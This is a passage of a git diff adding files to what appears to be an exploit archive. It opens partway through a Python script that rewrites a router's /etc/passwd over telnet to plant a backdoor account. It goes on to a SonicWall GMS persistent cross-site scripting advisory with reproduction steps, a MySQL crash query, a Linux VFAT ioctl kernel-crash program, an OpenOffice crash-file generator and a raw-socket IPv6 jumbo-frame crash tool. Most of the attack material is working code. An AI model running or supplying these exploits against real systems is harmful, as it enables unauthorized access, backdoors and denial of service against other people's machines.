+    data.reverse()
+    data.pop()
+    data.reverse()
+    data.pop()
+    data = "\n".join(data)
+    for i in data.split("\n"):
+        if i.find(bduser) >= 0:
+            line = i.split(':')
+            s1 = string.lowercase + string.uppercase + string.digits
+            salt = ''.join(random.sample(s1,2))
+            pw = crypt.crypt(bdpasswd, salt)
+            line[1] = pw
+            # doesn't work for some odd reason -- too lazy to find out why
+            #salt = ''.join(random.sample(s1,8))
+            #line[1] = crypt.crypt(bdpasswd, '$1$' + salt + '$')
+            data = data.replace(i, ":".join(line))
+            break
+    tn.write('echo -en "" > /etc/passwd\n')
+    time.sleep(5)
+    for i in data.split("\n"):
+        tn.write('echo -en \'' + i + '\n\' >> /etc/passwd\n')
+        time.sleep(1)
+    data = tn.read_very_eager()    
+    tn.close()
+    if data.find(pw) >= 0:
+        print "OK (" + pw + ")"
+        success = True
+    else:
+        print "FAILURE"
+        print "[-] Could not set the new password."
+        sys.exit(-1)
+    
+    # Switching back to the originals
+    print "[+] Mobbing up..."
+    restartTelnetd("/bin/sh", "/bin/login")
+    
+    # Logging out
+    print "[+] Logging out: ",
+    sys.stdout.flush()
+    (h, d) = logout()
+    if d.find('value="Login"') > 0:
+        print "OK"
+    else:
+        print "FAILURE"
+        print "[-] Unable to determine if user is logged out."
+
+    # Print success message
+    if success:
+        print "[+] You can now log in via SSH and Telnet by using:"
+        print "    user: " + bduser
+        print "    pass: " + bdpasswd
+        print "    These changes will be reverted upon router reboot."
+        print "    Edit \"/tmp/teamf1.cfg.ascii\" to make your changes persistent."
+
+main()
+sys.exit(0)
+
diff --git a/platforms/jsp/webapps/30054.txt b/platforms/jsp/webapps/30054.txt
new file mode 100755
index 000000000..e8e90a0b3
--- /dev/null
+++ b/platforms/jsp/webapps/30054.txt
@@ -0,0 +1,234 @@
+Document Title:
+===============
+Sonicwall GMS v7.x - Filter Bypass & Persistent Vulnerability
+
+
+References (Source):
+====================
+http://www.vulnerability-lab.com/get_content.php?id=1099
+
+Bulletin: Dell SonicWALL GMS Service Bulletin for Cross-Site Scripting Vulnerability
+http://www.sonicwall.com/us/shared/download/Support_Bulletin_GMS_Vulnerability_Hotfix_134235.pdf
+
+
+Release Date:
+=============
+2013-12-05
+
+
+Vulnerability Laboratory ID (VL-ID):
+====================================
+1099
+
+
+Common Vulnerability Scoring System:
+====================================
+4.1
+
+
+Product & Service Introduction:
+===============================
+Dell SonicWALL`s management and reporting solutions provide a comprehensive architecture for centrally creating and managing 
+security policies, providing real-time monitoring and alerts, and delivering intuitive compliance and usage reports, all from 
+a single management interface. Whether your organization is a small- or medium-sized business, a distributed enterprise or a 
+managed service provider, Dell™ SonicWALL™ offers software and appliance solutions to meet its needs.
+
+The award-winning Dell SonicWALL Global Management System (GMS®) provides organizations, distributed enterprises and service 
+providers with a flexible, powerful and intuitive solution to centrally manage and rapidly deploy SonicWALL firewall, anti-spam, 
+backup and recovery, and secure remote access solutions. Flexibly deployed as software, hardware—in the form of the Universal 
+Management Appliance (UMA)—or a virtual appliance, SonicWALL GMS also provides centralized real-time monitoring and comprehensive 
+policy and compliance reporting to drive down the cost of owning and managing SonicWALL security appliances.  Multiple GMS 
+software, hardware, and virtual appliance agents, when deployed in a cluster, can scale to manage thousands of SonicWALL 
+security appliances. This makes GMS an ideal solution for small- to medium-sized businesses, enterprises and managed service 
+providers that have either single-site or distributed multi-site environments.
+
+(Copy of the Vendor Homepage: http://www.sonicwall.com/emea/en/products/Centralized_Management_Reporting.html )
+
+
+Abstract Advisory Information:
+==============================
+The Vulnerability Laboratory Research Team discovered a persistent validation vulnerability in the DELL SonicWall GMS v7.1.x Appliance Web-Application.
+
+
+Vulnerability Disclosure Timeline:
+==================================
+2013-09-26:	Researcher Notification & Coordination (Benjamin Kunz Mejri)
+2013-09-27:	Vendor Notification (DELL SonicWall Security Team)
+2013-10-09:	Vendor Response/Feedback (DELL SonicWall Security Team)
+2013-12-04:	Vendor Fix/Patch ( DELL SonicWall Developer Team)
+2013-12-05:	Public Disclosure (Vulnerability Laboratory)
+
+
+Discovery Status:
+=================
+Published
+
+
+Affected Product(s):
+====================
+DELL SonicWall
+Product: GMS Networks Appliance Application 7.1
+
+
+Exploitation Technique:
+=======================
+Remote
+
+
+Severity Level:
+===============
+High
+
+
+Technical Details & Description:
+================================
+A persistent input validation web vulnerability has been discovered in the official DELL SonicWall GMS v7.1.x Appliance Web-Application.
+The bug allows an attacker (remote) to implement/inject own malicious malicious script codes on the application-side (persistent).
+
+The persistent vulnerability is located in the `valfield_1` & `value_1` value parameters of the `Alert Settings` module POST method request.
+Remote attackers with low privileged application user account can inject own script codes to the POST method request of the createNewThreshold.jsp 
+appliance application file. After the inject the attacker is able to update and save the values to continue with the execute the main alert 
+settings module. The execute of the script code occurs in the ematStaticAlertTypes.jsp file context by the earlier manipulated vulnerable values.
+
+To bypass the filter it is required to split the request by attaching a double frame for the script code execute. The restricted application itself 
+disallows the POST request of guest by usage of the unrestricted context POST method request attackers are able to bypass the filter & exception-handling.
+
+The security risk of the persistent input validation web vulnerability is estimated as high(-) with a cvss (common vulnerability scoring system) 
+count of 4.1(+). The coordinated disclosure procedure of the remote vulnerability has been navigated by the product manager Wilson Lee (DELL). 
+The hotfix and information has been provided in cooperation with the vulnerability-laboratory.
+
+Exploitation of the persistent web vulnerability requires low user interaction and a local low privileged (guest) web application user account. 
+Successful exploitation of the vulnerability can lead to persistent session hijacking (customers), account steal via persistent web attacks, 
+persistent phishing or persistent manipulation of vulnerable module context.
+
+Vulnerable Application(s):
+				[+] DELL - SonicWall GMS v7.1.x Appliance Application
+
+Vulnerable Module(s):
+				[+] Alert Settings > NewThreshold
+
+Vulnerable File(s):
+				[+] createNewThreshold.jsp > ematStaticAlertTypes.jsp
+
+Vulnerable Parameter(s):
+				[+] valfield_1
+				[+] value_1
+
+Affected Module(s):
+				[+] createNewThreshold
+				[+] ematStaticAlertTypes
+				[+] Alert Settings - Main Listing
+
+Affected Product(s):
+				[+] Dell SonicWALL GMS
+				[+] Dell SonicWALL Analyzer
+				[+] Dell SonicWALL UMA E5000
+
+
+Proof of Concept (PoC):
+=======================
+The persistent input validation web vulnerability can be exploited by remote attackers with low privileged or restricted guest accounts and 
+low user interaction. For security demonstration or reproduce the vulnerability follow the information and steps below.
+
+
+Location: Alert Settings
+http://gms.localhost:8080/sgms/panelManager?panelidz=1&level=1&typeOfUnits=0#
+
+Inject via Add: Edit contents for alert type: Backed-Up Syslog Files
+http://gms.localhost:8080/sgms/ematStaticAlertTypes.jsp?
+
+Execute: Create New Threshold
+http://gms.localhost:8080/sgms/createNewThreshold.jsp?
+
+Affected:
+http://gms.localhost:8080/sgms/auth
+
+
+
+Manual steps to reproduce ...
+
+1.  Open the Sonicwall GMS appliance application and login with full restrictions as guest
+2.  Switch to the vulnerable Console > Events > Alert Settings section
+3.  Click Add Alert and a new blank window of the application will be opened
+4.  Click in the upcomings window in the Alert Types section the Edit Content link
+5.  Now, a new window opens "Edit contents for alert type: Backup Sys-Log Files
+6.  On top is a little plus button next to the Threshold value
+9.  A new window opens with Elements box ... Inject your payload (script code) to the description eval in the operator fields
+10. After the inject to the input fields the attacker only needs to click the Add Element button on the buttom of the page
+11. The code will be directly executed and is persistent saved as element in the specific section
+12. Save the input via update and go back to the alert settings main section were the code execute occurs in the same connected value
+13. Successful reproduced!
+
+
+
+PoC:  Alert Settings - Create New Threshold
+
+Critical</option></select> </td><td class="tblData2" width="1">
+<img src="Create%20New%20Threshold_files/1x1trans.gif"></td><td class="tblData2" align="center" 
+nowrap="nowrap"><input class="controlFont" name="disabled" value="1" type="checkbox"></td>
+<td class="tblData2" width="1"><img src="Create%20New%20Threshold_files/1x1trans.gif"></td>
+<td class="tblData2" align="center" nowrap="nowrap"><a href="#" onclick="deleteElement(1);">
+<img src="Create%20New%20Threshold_files/trash.gif" alt="Delete this destination" border="0"></a></td>
+<td class="tblData2" width="1"><img src="Create%20New%20Threshold_files/1x1trans.gif"></td></tr><tr><td></td>
+<td class="tblData2" width="1"><img src="Create%20New%20Threshold_files/1x1trans.gif"></td><td colspan="5" 
+class="tblData2" align="left" nowrap="nowrap"> <font class="controlfont">Description: </font>
+<input class="controlfont" size="64" name="description" 
+value="is equal to >" <[PERSISTENT INJECTED SCRIPT CODE!]" type="text">  >"<[PERSISTENT INJECTED SCRIPT CODE!]">"
+onkeyup="enableAutoDesc(1,0);"></td><td class="tblData2" 
+width=1><img src="images/1x1trans.gif"></td>
+
+
+Note: Please, feel free to read also the patch information provided in the solution section of the advisory document.
+
+
+Solution - Fix & Patch:
+=======================
+The vulnerability can be patched by a secure parse, prevention filter mechanism or clean encode of the vulnerable value_1 and valfield_1 parameters.
+Also restrict and escape the affected input field and output listing in the connected modules.
+
+Resolution (DELL SonicWall):
+We recommend existing users of Dell SonicWALL GMS/Analyzer/UMA 7.1 to apply SP1 (if they have not already done so), and then apply Hotfix 134235 to prevent cross-site scripting by unauthorized users. 7.1 SP1 and the Hotfix are available for download from www.mysonicwall.com. Users should log into mySonicWALL and click on Downloads > Download Center in the navigation panel on the left, then select “GMS/Analyzer” in the Software Type drop down menu.
+
+
+Security Risk:
+==============
+The security risk of the persistent input validation web vulnerability with filter bypass is estimated as medium(+).
+
+
+Credits & Authors:
+==================
+Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
+
+
+Disclaimer & Information:
+=========================
+The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
+either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
+Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
+profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
+states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
+may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
+or trade with fraud/stolen material.
+
+Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.evolution-sec.com
+Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 	       - admin@evolution-sec.com
+Section:    www.vulnerability-lab.com/dev 	- forum.vulnerability-db.com 		       - magazine.vulnerability-db.com
+Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
+Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php
+
+Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
+Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
+media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and 
+other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
+modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
+
+				Copyright © 2013 | Vulnerability Laboratory [Evolution Security]
+
+
+
+-- 
+VULNERABILITY LABORATORY RESEARCH TEAM
+DOMAIN: www.vulnerability-lab.com
+CONTACT: research@vulnerability-lab.com
+
+
diff --git a/platforms/linux/dos/30020.txt b/platforms/linux/dos/30020.txt
new file mode 100755
index 000000000..7c536d8f1
--- /dev/null
+++ b/platforms/linux/dos/30020.txt
@@ -0,0 +1,11 @@
+source: http://www.securityfocus.com/bid/23911/info
+
+MySQL is prone to a remote denial-of-service vulnerability because it fails to handle certain specially crafted queries.
+
+An attacker can exploit this issue to crash the application, denying access to legitimate users.
+
+NOTE: An attacker must be able to execute arbitrary SELECT statements against the database to exploit this issue. This may be through legitimate means or by exploiting other latent SQL-injection vulnerabilities.
+
+Versions prior to MySQL 5.0.40 are vulnerable. 
+
+SELECT id from example WHERE id IN(1, (SELECT IF(1=0,1,2/0))); 
\ No newline at end of file
diff --git a/platforms/linux/dos/30024.txt b/platforms/linux/dos/30024.txt
new file mode 100755
index 000000000..7b371967a
--- /dev/null
+++ b/platforms/linux/dos/30024.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/23927/info
+
+The libexif library is prone to an integer-overflow vulnerability because the software fails to properly ensure that integer math operations do not result in overflows.
+
+Successful exploits of this vulnerability allow remote attackers to execute arbitrary machine code in the context of an application using the vulnerable library. Failed attempts will likely result in denial-of-service conditions.
+
+Versions of libexif prior to 0.6.14 are vulnerable to this issue. 
+
+http://www.exploit-db.com/sploits/30024.jpg
\ No newline at end of file
diff --git a/platforms/linux/dos/30044.txt b/platforms/linux/dos/30044.txt
new file mode 100755
index 000000000..046073fd6
--- /dev/null
+++ b/platforms/linux/dos/30044.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/24004/info
+ 
+Sun JDK is prone to a multiple vulnerabilities.
+ 
+An attacker can exploit these issues to crash the affected application, effectively denying service. The attacker may also be able to execute arbitrary code, which may facilitate a compromise of the underlying system.
+ 
+Sun JDK 1.5.0_07-b03 is vulnerable to these issues; other versions may also be affected. 
+
+http://www.exploit-db.com/sploits/30043.zip
\ No newline at end of file
diff --git a/platforms/linux/dos/30080.c b/platforms/linux/dos/30080.c
new file mode 100755
index 000000000..156428d18
--- /dev/null
+++ b/platforms/linux/dos/30080.c
@@ -0,0 +1,39 @@
+source: http://www.securityfocus.com/bid/24134/info
+
+The Linux Kernel is prone to a denial-of-service vulnerability.
+
+A local attacker can exploit this issue to cause the kernel to crash, effectively denying service to legitimate users.
+
+#include <sys/types.h>
+    #include <sys/ioctl.h>
+    #include <dirent.h>
+    #include <stdio.h>
+    #include <unistd.h>
+    #include <fcntl.h>
+    struct kernel_dirent {
+             long            d_ino;
+             long               d_off;
+             unsigned short  d_reclen;
+             char            d_name[256]; /* We must not include limits.h! */
+    };
+    #define VFAT_IOCTL_READDIR_BOTH  _IOR('r', 1, struct kernel_dirent [2])
+    #define VFAT_IOCTL_READDIR_SHORT  _IOR('r', 2, struct kernel_dirent [2])
+
+    int main(void)
+    {
+             int fd = open(".", O_RDONLY);
+             struct kernel_dirent de[2];
+
+             while (1) {
+                     int i = ioctl(fd, VFAT_IOCTL_READDIR_BOTH, (long)de);
+                     if (i == -1) break;
+                     if (de[0].d_reclen == 0) break;
+                     printf("SFN: reclen=%2d off=%d ino=%d, %-12s",
+                       de[0].d_reclen, de[0].d_off, de[0].d_ino, de[0].d_name);
+                if (de[1].d_reclen)
+                  printf("\tLFN: reclen=%2d off=%d ino=%d, %s",
+                    de[1].d_reclen, de[1].d_off, de[1].d_ino, de[1].d_name);
+                printf("\n");
+             }
+             return 0;
+    }
diff --git a/platforms/linux/dos/30091.py b/platforms/linux/dos/30091.py
new file mode 100755
index 000000000..73259612b
--- /dev/null
+++ b/platforms/linux/dos/30091.py
@@ -0,0 +1,91 @@
+source: http://www.securityfocus.com/bid/24186/info
+
+The OpenOffice 'Writer' component is prone to a remote denial-of-service vulnerability.
+
+Successful exploits may allow remote attackers to cause denial-of-service conditions on the webserver running the affected application.
+
+OpenOffice 2.2.0 is vulnerable; other versions may also be affected.
+
+import sys
+import time
+
+print "--------------------------------------------------------"
+print " OpenOffice.org 2.2.0 Writer Denial of Service          "
+print " url: http://www.openoffice.org/                        "
+print "                                                        "
+print " author: shinnai                                        "
+print " mail: shinnai[at]autistici[dot]org                     "
+print " site: http://shinnai.altervista.org                    "
+print "                                                        "
+print " If you want, you can change the file extension in .doc "
+print "--------------------------------------------------------"
+
+exploit = \
+"\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1\x00\x00\x00\x00\x00\x00\x00\x00"+\
+"\x00\x00\x00\x00\x00\x00\x00\x00\x3E\x00\x03\x00\xFE\xFF\x09\x00"+\
+"\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+\
+"\x2A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+\
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+\
+"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"+\
+"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"+\
+"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"+\
+"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"+\
+"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"+\
+"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"+\
+"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"+\
+"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"+\
+"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"+\
+"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"+\
+"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"+\
+"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"+\
+"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"+\
+"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"+\
+"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"+\
+"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"+\
+"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"+\
+"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"+\
+"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"+\
+"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"+\
+"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"+\
+"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"+\
+"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"+\
+"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"+\
+"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"+\
+"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"+\
+"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"+\
+"\xEC\xA5\xC1\x00\x23\x60\x10\x04\x00\x00\xF0\x12\xBF\x00\x00\x00"+\
+"\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06\x00\x00\x01\x08\x00\x00"+\
+"\x0E\x00\x62\x6A\x62\x6A\x35\x47\x35\x47"
+
+while 1:
+    print "                       OPTIONS                          "
+    print " 1 -> Create file exploit.otp                           "
+    print " 2 -> Quit\n                                            "
+    print "--------------------------------------------------------"
+
+    choice = 0
+
+    while 1:
+        try:
+            choice = int(raw_input("Make your choice: "))
+            if choice != 1 and choice != 2:
+                print "ehm... Invalid choice...\n"
+            else:
+                break
+        except:
+            print "ehm... Invalid choice...\n"
+
+    if choice == 1:
+        flag = 1
+        try:
+            fileOut = open('exploit.otp','w')
+            fileOut.write(exploit)
+            fileOut.close()
+            print "File created!\nBe safe!"
+        except:
+            print "Unable to create file."
+    
+    if choice == 2:
+        print "Be safe!"
+        time.sleep(2)
+        sys.exit()
diff --git a/platforms/linux/dos/4893.c b/platforms/linux/dos/4893.c
index 1176c1085..935fec900 100755
--- a/platforms/linux/dos/4893.c
+++ b/platforms/linux/dos/4893.c
@@ -1,134 +1,134 @@
-/*
- * Clemens Kurtenbach <ckurtenbach at s21sec . com>
- * PoC code for exploiting the jumbo bug found in 
- * linux kernels >=2.6.20 and <=2.6.21.1
- * gcc -O2 ipv6_jumbo_crash.c -o ipv6_jumbo_crash
- *
- */
-
-
-/* io */
-#include <stdio.h>
-#include <string.h>
-#include <stdlib.h>
-
-/* network */
-#include <sys/socket.h>
-#include <linux/if_packet.h>
-#include <linux/if_ether.h>
-#include <linux/if_arp.h>
-#include <netdb.h>
-#include <linux/if.h>
-
-#define MY_FRAME_LEN 1145
-
-char *resolve6(unsigned char *target) {
-	char *ret_addr;
-	struct in6_addr my_in6;
-	char *glob_addr = (char *) &my_in6;
-	struct addrinfo addr_hints, *addr_result;
-	unsigned char out[64];
-
-	memset(&addr_hints, 0, sizeof(addr_hints));
-	addr_hints.ai_family = AF_INET6;
-
-	if (getaddrinfo(target, NULL, &addr_hints, &addr_result) != 0) {
-		printf("getaddrinfo() error\n");
-		exit(1); 
-	}
-	if(getnameinfo(addr_result->ai_addr, addr_result->ai_addrlen, out, sizeof(out), NULL, 0, NI_NUMERICHOST) != 0){
-		printf("getnameinfo() error\n");
-		exit(1);
-	}
-	if(inet_pton(AF_INET6, out, glob_addr) < 0) {
-		printf("inet_pton() error\n");
-		exit(1);
-	}
-	if((ret_addr = malloc(16)) == NULL) {
-		printf("malloc() error\n");
-		exit(1);
-	}
-	memcpy(ret_addr, my_in6.s6_addr, 16);
-	return ret_addr;
-}
-
-int main(int argc, char *argv[]) {
-
-	if (argc < 4) {
-		printf("usage: ./ipv6_jumbo_crash <fe80::1:2:3> <00:11:22:33:44:55> <eth0>\n");
-		exit(1);
-	}
-
-	/* handle IPv6 destination */
-	unsigned char *dest_ip = resolve6(argv[1]);
-
-	/* handle MAC */
-	unsigned char dest_mac[7];
-	sscanf(argv[2], "%x:%x:%x:%x:%x:%x", 
-			(unsigned int*)&dest_mac[0], (unsigned int*)&dest_mac[1], 
-			(unsigned int*)&dest_mac[2], (unsigned int*)&dest_mac[3], 
-			(unsigned int*)&dest_mac[4], (unsigned int*)&dest_mac[5]);
-
-	/* handle interface */
-	unsigned char *iface;
-	iface = argv[3];
-
-	/* buffer for ethernet frame */
-	void *buffer = (void*)malloc(MY_FRAME_LEN);
-
-	/* pointer to ethenet header */
-	unsigned char *etherhead = buffer;
-	struct ethhdr *eh = (struct ethhdr *)etherhead;
-
-	/* our MAC address */
-	unsigned char src_mac[6] = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55 };
-	unsigned char src_ip[16] = { 0xfe, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02};
-
-	/* prepare socket */
-	int s;
-	s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
-	if (s < 0) {
-		printf("cannot create socket: [%d]\n",s);
-		exit(1);
-	}
-
-	/* RAW communication */
-	struct sockaddr_ll socket_address;
-	socket_address.sll_family   = PF_PACKET;	
-	socket_address.sll_protocol = htons(ETH_P_IP);	
-	socket_address.sll_ifindex  = if_nametoindex(iface);
-	socket_address.sll_hatype   = ARPHRD_ETHER;
-	socket_address.sll_pkttype  = PACKET_OTHERHOST;
-	socket_address.sll_halen    = ETH_ALEN;		
-
-	/* set the frame header */
-	memcpy((void*)buffer, (void*)dest_mac, ETH_ALEN);
-	memcpy((void*)(buffer+ETH_ALEN), (void*)src_mac, ETH_ALEN);
-	eh->h_proto = 0xdd86; // IPv6
-
-	/* the buffer we want to send */
-	unsigned char bad_buffer[] = { 
-		0x60, 0x3b, 0x50, 0x15, 0x04, 0x08, 0x00, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x00,
-		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-		0x00, 0x43, 0x6e, 0xc2, 0x05, 0x23 };
-
-	memcpy((void*)(buffer+14), (void*)bad_buffer, MY_FRAME_LEN);
-
-	/* overwrite our src and dst ip */
-	memcpy((void*)(buffer+22), (void*)src_ip, 16);
-	memcpy((void*)(buffer+38), dest_ip, 16);
-
-	/* send the buffer */
-	int send_result = 0;
-	send_result = sendto(s, buffer, MY_FRAME_LEN, 0, (struct sockaddr*)&socket_address, sizeof(socket_address));
-	if (send_result == -1) { 
-		printf("could not send frame: [%d]\n", send_result); 
-		exit(1);
-	}
-	else printf("frame send to ip [%s] with mac [%s] on iface [%s]\n",argv[1],argv[2],argv[3]);
-
-	return 0;
-}
-
-// milw0rm.com [2008-01-11]
+/*
+ * Clemens Kurtenbach <ckurtenbach at s21sec . com>
+ * PoC code for exploiting the jumbo bug found in 
+ * linux kernels >=2.6.20 and <=2.6.21.1
+ * gcc -O2 ipv6_jumbo_crash.c -o ipv6_jumbo_crash
+ *
+ */
+
+
+/* io */
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+
+/* network */
+#include <sys/socket.h>
+#include <linux/if_packet.h>
+#include <linux/if_ether.h>
+#include <linux/if_arp.h>
+#include <netdb.h>
+#include <linux/if.h>
+
+#define MY_FRAME_LEN 1145
+
+char *resolve6(unsigned char *target) {
+	char *ret_addr;
+	struct in6_addr my_in6;
+	char *glob_addr = (char *) &my_in6;
+	struct addrinfo addr_hints, *addr_result;
+	unsigned char out[64];
+
+	memset(&addr_hints, 0, sizeof(addr_hints));
+	addr_hints.ai_family = AF_INET6;
+
+	if (getaddrinfo(target, NULL, &addr_hints, &addr_result) != 0) {
+		printf("getaddrinfo() error\n");
+		exit(1); 
+	}
+	if(getnameinfo(addr_result->ai_addr, addr_result->ai_addrlen, out, sizeof(out), NULL, 0, NI_NUMERICHOST) != 0){
+		printf("getnameinfo() error\n");
+		exit(1);
+	}
+	if(inet_pton(AF_INET6, out, glob_addr) < 0) {
+		printf("inet_pton() error\n");
+		exit(1);
+	}
+	if((ret_addr = malloc(16)) == NULL) {
+		printf("malloc() error\n");
+		exit(1);
+	}
+	memcpy(ret_addr, my_in6.s6_addr, 16);
+	return ret_addr;
+}
+
+int main(int argc, char *argv[]) {
+
+	if (argc < 4) {
+		printf("usage: ./ipv6_jumbo_crash <fe80::1:2:3> <00:11:22:33:44:55> <eth0>\n");
+		exit(1);
+	}
+
+	/* handle IPv6 destination */
+	unsigned char *dest_ip = resolve6(argv[1]);
+
+	/* handle MAC */
+	unsigned char dest_mac[7];
+	sscanf(argv[2], "%x:%x:%x:%x:%x:%x", 
+			(unsigned int*)&dest_mac[0], (unsigned int*)&dest_mac[1], 
+			(unsigned int*)&dest_mac[2], (unsigned int*)&dest_mac[3], 
+			(unsigned int*)&dest_mac[4], (unsigned int*)&dest_mac[5]);
+
+	/* handle interface */
+	unsigned char *iface;
+	iface = argv[3];
+
+	/* buffer for ethernet frame */
+	void *buffer = (void*)malloc(MY_FRAME_LEN);
+
+	/* pointer to ethenet header */
+	unsigned char *etherhead = buffer;
+	struct ethhdr *eh = (struct ethhdr *)etherhead;
+
+	/* our MAC address */
+	unsigned char src_mac[6] = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55 };
+	unsigned char src_ip[16] = { 0xfe, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02};
+
+	/* prepare socket */
+	int s;
+	s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
+	if (s < 0) {
+		printf("cannot create socket: [%d]\n",s);
+		exit(1);
+	}
+
+	/* RAW communication */
+	struct sockaddr_ll socket_address;
+	socket_address.sll_family   = PF_PACKET;	
+	socket_address.sll_protocol = htons(ETH_P_IP);	
+	socket_address.sll_ifindex  = if_nametoindex(iface);
+	socket_address.sll_hatype   = ARPHRD_ETHER;
+	socket_address.sll_pkttype  = PACKET_OTHERHOST;
+	socket_address.sll_halen    = ETH_ALEN;		
+
+	/* set the frame header */
+	memcpy((void*)buffer, (void*)dest_mac, ETH_ALEN);
+	memcpy((void*)(buffer+ETH_ALEN), (void*)src_mac, ETH_ALEN);
+	eh->h_proto = 0xdd86; // IPv6
+
+	/* the buffer we want to send */
+	unsigned char bad_buffer[] = { 
+		0x60, 0x3b, 0x50, 0x15, 0x04, 0x08, 0x00, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x00,
+		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
